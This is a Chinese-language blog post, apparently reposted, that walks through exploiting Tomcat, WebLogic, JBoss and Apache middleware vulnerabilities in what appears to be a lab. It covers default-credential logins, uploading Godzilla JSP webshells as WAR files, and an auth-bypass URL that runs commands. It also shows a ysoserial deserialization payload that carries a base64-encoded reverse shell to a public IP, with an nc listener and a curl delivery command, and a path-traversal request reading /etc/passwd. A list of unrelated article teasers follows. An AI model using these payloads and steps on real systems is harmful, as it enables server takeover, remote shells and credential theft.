常见的中间件漏洞

news2024/9/21 23:14:35

Tomcat

CVE-2017-12615

访问主页进行抓包

修改传参方式为put

放包进行连接

后台弱⼝令部署war包

访问主页试用默认账号密码tomcat/tomcat进行登录后

将哥斯拉生成的jsp木马文件压缩城成zip文件,然后再修改zip后缀文war

然后进行上传

使用哥斯拉进行测试连接

CVE-2020-1938

访问主页
下载漏洞利用工具 cve-2020-1938.py
然后放kali里面跑(这里为了使用方便给他命名为22.py了,如果没有重命名则需要使用文件的原名cve-2020-1938.py)

WebLogic

后台弱⼝令GetShell

访问主页显示报错404
然后我们在url后面加上 /console/login/LoginForm.jsp进行访问(账号密码为 weblogic/Oracle@123
进入后台后点击部署》安装》然后上传文件
这里同样是上传war文件,那么我们就直接使用前面修改的那个jsp木马的war文件进行上传
上传成功后进行哥斯拉连接

CVE-2017-3506

首先验证是否存在wls-wsat组件

访问http://172.16.1.185:7001/wls-wsat/CoordinatorPortType

然后进行抓包,添加请求包,反弹shell。

然后使用kali监听

CVE-2019-2725

访问http://172.16.1.185:7001 /_async/AsyncResponseService

进行抓包,修改数据包是其下载木马文件

然后进行哥斯拉连接

CVE-2018-2894

环境搭建完成之后访问
http:\\172.16.1.63:7001console/login/LoginForm.jsp
启动web服务测试页
进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录
点击安全 , 点击添加
然后查看源代码, 然后搜索16 , 找到对应时间戳
然后使用哥斯拉进行连接

CVE-2020-14882

访问网站使用url饶过验证

http:\\172.16.1.63:7001/console/css/%252e%252e%252fconsole.porta

访问

http://172.16.1.63:7001/console/css/%252e%252e%252fconsole.portal_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")

进入kali 的容器中发现运行成功

Jboss

CVE-2015-7501

在url后面加
/i nvoker/JMXInvokerServlet

.下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/120.55.57.110/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==
执行
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNTUuNTcuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser
服务器监听端口
nc -lvvp 6666
执行命令
curl http://172.16.1.63:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
然后就成功反弹shell了

CVE-2017-7504

访问网址
http://172.16.1.63:8080/jbossmq-httpil/HTTPServerILServlet
用kali执行
python3 jexboss.py -u http://172.16.1.63:8080

CVE-2017-12149

访问 http://172.16.1.63:8080/invoker/readonly 看漏洞是否存在
返回500则说明漏洞存在
使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:
⼯具地址:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

Administration Console弱⼝令

访问
http://172.16.1.63:8080/admin-console/login.seam
进入后台后点击web应用
然后上传木马文件shell.war
然后进行哥斯拉连接

高版本JMX Console未授权

访问
http://172.16.1.63:8080/jmx-console/
修改配置

把木马文件的war包布置到服务器上

然后我们返回靶场的网页

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址让其远程下载

然后就可以使用哥斯拉进行连接了

低版本JMX Console未授权

访问网站往下翻找到jboss.deployment

点进去之后void addURL() 选项远程加载war包来部署。

然后会回显这个页面提示成功
使用哥斯拉进行测试连接

Apache

CVE-2021-41773

访问网站http://172.16.1.99:8080

然后登录虚拟机kali使用poc来成功读取etc下的passwd文件

curl http://172.16.1.99:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2153565.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SpringBoot+Vue的在线酒店预订系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、SSM项目源码 系统展示 【2025最新】基于JavaSpringBootVueMySQL的…

微服务——网关登录校验(一)

1.网关登录校验 微服务中的网关登录校验是微服务架构中常见的一种安全机制,用于在请求到达微服务之前,对用户的身份进行验证,确保只有合法的用户才能访问相应的服务。 在微服务架构中,每个微服务都是独立部署的,它们之…

Apipost IDEA插件新升级,Apipost Helper上架IDEA插件市场

大家好!今天向大家介绍一个非常方便的IDEA插件——Apipost Helper!相信很多使用过Apipost的朋友在开发过程中都希望能够直接将编写好的API同步至Apipost,而无需手动填写。前段时间,Apipost推出了Apipost IDEA插件的内测版&#xf…

macOS平台编译libidn2库给iOS及macOS用

1.克隆源码: git clone https://gitlab.com/libidn/libidn2.git --recursive 2.安装依赖库: pkg-config也要安装 3.启动bootstrap生成configure 配置成功 configure生成成功

概率论与数理统计(2)

第一节博客已经整理了求导的公式,一些常用的概念。链接如下:高等数学基础(1)-CSDN博客。 第二节博客整理了微积分的公式及其相关概念。链接如下:高等数学基础(2)——微积分-CSDN博客 第三节博客…

主流卷积神经网络CNN总结

ResNet(2015)残差神经网络 残差结构 ResNet50具体卷积结构图 ResNeXt(2016)加入了分组卷积的思想,将原ResNet网络中的block替换成由group分组的block,两者得到的feature map一致,只是参数量更少…

计算机网络(月考一知识点)

文章目录 计算机网络背诵默写版计算机网络知识点(月考1版) 计算机网络背诵默写版 为我自己留个印记,本来荧光笔画的是没记住的,但是后面用紫色的,结果扫描的时候就看不见了。 计算机网络知识点(月考1版&a…

耳夹式耳机值得买吗?揭秘耳夹式耳机六大避坑指南!

耳夹式耳机值得买吗?这是很多人的疑问,但是夹耳式耳机火起来跟当下人们对健康运动的需求密不可分,入耳式耳机照顾了听音需求就很难兼顾环境音,还有耳部健康和佩戴舒适度等等,而运动时半入耳式耳机又容易掉,…

T4—猴痘识别

🍨 本文为🔗365天深度学习训练营中的学习记录博客🍖 原作者:K同学啊 1.导入数据 #设置gpu from tensorflow import keras from tensorflow.keras import layers,models import os, PIL, pathlib import matplotlib.pyplot as pl…

【刷题—双指针】复写0、三数之和、四数之和

目录 一、复写0二、三数之和三、四数之和 一、复写0 题目: 注意:题目要求是原数组上复写 思路: 一、确定最后一个复写的位置。定义两个变量cur等于0,dest等于-1,让cur去遍历数组。如果cur指向的元素是0,…

[SAP ABAP] 创建数据元素

我们可以使用事务码SE11创建数据元素 输入要创建的数据类型的名称,然后点击创建 选择数据元素并进行确定 输入简短描述并为数据元素分配一个域,会自动带出数据类型以及长度 创建域可参考该篇文章 创建域https://blog.csdn.net/Hudas/article/details/…

Hive企业级调优[6]——HQL语法优化之任务并行度

目录 HQL语法优化之任务并行度 优化说明 Map端并行度 Reduce端并行度 优化案例 HQL语法优化之任务并行度 优化说明 对于分布式计算任务来说,设置一个合理的并行度至关重要。Hive的计算任务依赖于MapReduce框架来完成,因此并行度的调整需要从Map端和…

YOLOv10 简介

YOLOv10,由清华大学的研究人员基于 Ultralytics Python 包构建,引入了一种全新的实时目标检测方法,该方法解决了以往 YOLO 版本中后处理和模型架构方面的不足。通过消除非极大值抑制(NMS)并优化各种模型组件&#xff0…

C# 技巧在 foreach 循环中巧妙获取索引

目录 前言 使用 LINQ 和扩展方法 直接在 LINQ 查询中使用 使用 LINQ 的 Select() 与 Enumerable.Range() 总结 最后 前言 在C#中foreach 循环是处理集合的常见方式,因其简洁性和易读性而广受青睐。 但是在某些情况下,我们需要同时获取集合中元素的…

mysql中的json查询

首先来构造数据 查询department里面name等于研发部的数据 查询语句跟普通的sql语句差不多,也就是字段名要用到path表达式 select * from user u where u.department->$.name 研发部 模糊查询 select * from user u where u.department->$.name like %研发%…

论文阅读笔记:Sapiens: Foundation for Human Vision Models

Sapiens: Foundation for Human Vision Models 1 背景1.1 问题1.2 目标 2 方法3 创新点4 模块4.1 Humans-300M数据集4.2 预训练4.3 2D位姿估计4.4 身体部位分割4.5 深度估计4.6 表面法线估计 5 实验5.1 实现细节5.2 2D位姿估计5.3 身体部位分割5.4 深度估计5.5 表面法线估计5.6…

如何在 Ubuntu 上安装 OpenSSH Server ?

OpenSSH 是一组工具集合,它允许您使用 SSH 在网络上进行安全、加密的通信。它包括安全远程登录、文件传输和应用程序隧道的特性。OpenSSH 通常用于 Linux 系统上的安全远程访问和文件传输。由于其强大的安全措施,受到世界各地许多用户的信任。 本教程将…

【Rust练习】16.模式

文章题目来自:https://practice-zh.course.rs/pattern-match/patterns.html 1 🌟🌟 使用 | 可以匹配多个值, 而使用 … 可以匹配一个闭区间的数值序列 fn main() {} fn match_number(n: i32) {match n {// 匹配一个单独的值1 > println!(…

2024 研究生数学建模竞赛(E题)建模秘籍|高速公路应急车道紧急启用模型|文章代码思路大全

铛铛!小秘籍来咯! 小秘籍团队独辟蹊径,运用聚类分析,逻辑回归模型,决策树/规则,ARIMA等强大工具,构建了这一题的详细解答哦! 为大家量身打造创新解决方案。小秘籍团队,始…

Python基于TensorFlow实现Transformer分类模型(Transformer分类算法)项目实战

说明:这是一个机器学习实战项目(附带数据代码文档视频讲解),如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 随着深度学习技术的发展,自然语言处理(NLP)领域取得了显著的进步。…